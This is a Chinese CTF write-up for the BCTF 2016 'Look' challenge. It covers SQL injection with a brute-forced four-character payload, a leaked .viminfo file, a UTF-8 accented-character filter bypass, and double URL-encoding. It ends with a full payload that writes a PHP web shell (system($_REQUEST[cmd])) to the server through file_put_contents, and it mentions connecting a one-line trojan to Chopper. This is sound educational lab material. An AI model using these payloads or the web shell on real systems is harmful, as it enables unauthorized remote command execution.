WP----Look 我看的见你,你却看不见我 tips:sql injection tips2: mysql 字符集

0x00

题目连接打开后,是空白的,源代码也是空白的

这种情况就抓包,看请求包和相应包里面是否有提示

相应包中存在很特别的响应头X-HT: verify

可能是参数,传递任意参数过去

0x01

传递5个长度的参数时,返回

说明参数的长度是4

然后题目提示是sql注入,最基本的就是将参数使用宽字节注入 ,单引号’或者“过滤掉

所以payload的大概形式是

'XX%23
中间两个字符,用字典跑出来

通过爆破,尝试出多个payload,其中一个是  '%1%23

0x02

传递参数得到提示:

打开新的页面 

hello??? 相应包中还有另外一个自定义头,值是viminfo

这个viminfo是状态文件,url中添加.viminfo打开查看,得到如下提示

最后发现后面的~~~还是需要保留的,才能打开文件

这段php的目的是让你传递参数usern3me是Bctf2016,但有不能直接是Bctf2016的形式,才会显示接下来的页面

就是传递的参数usern3me=Bctf2016被过滤掉,尝试另一种形式进行绕过

这里出现mysql_query("set names utf8");  用到带腭化符的字母,利用字符的差异进行绕过

在下面的连接里,找Bctf的替换字符,

Special Characters - Character set for HL - CS - AlliedModders (alliedmods.net)

payload:?usern3me=Bçtf2016

 再来抓包看信息 ,啥也没有还是被被过滤掉了

最后试出来有用的payload不仅要把c替换掉,还得把2016换成2O16

这样就得到了下一步的地址

0x03

首先这个文件,需要传递两个参数:path、filename;而且upload/与filename结合形成name

file_put_contents()是写文件,file_get_contents()是读文件

就是说这一段的代码的含义是:上传path的页面内容 被 写入到本地的upload/目录下的以filename命名的文件。

这就类似于文件包含,而且在上一个文件521的文件,参数usern3me传递什么值,就返回在页面上什么结果

这就说明可以在usern3me上传递shell。之后我们在upload目录下访问这个文件

0x04实现getshell

首先测试phpinfo()

出现空格就被把空格及之后的过滤掉了

听说是使用url编码二次加密,原本空格是%20,变成%2520

好,确实管用。把后面的空格也得加密 

之后再把.txt后缀改成php后缀

好的存在漏洞

之后在这个点上,可以放上一句话木马,之后连接菜刀;也可以放上执行命令,传参执行命令

system($_REQUEST[cmd]);

最后的payload:

?path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=%3C?php%2520system($_REQUEST[cmd]);?%3E&filename=1.php

最后传递cmd参数位置上传递命令。就能找到flag

总结

这道题目最主要的考点是文件包含,在上一个文件存在字符串写入点,与下一个文件的写文件的命令file_put_contents()结合,获得服务器的shell。

题目当中学到的小要点:

1.打开页面空白就查看源代码,还没信息就查看数据包

2.在数据包中自定义的头,就是提示

3.viminfo是文件状态文件。.viminfo打开

4.对于空格的过滤,%20变成%2520

5.除了一句话木马连getshell,还可以上传system()来getshell

  • 16
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值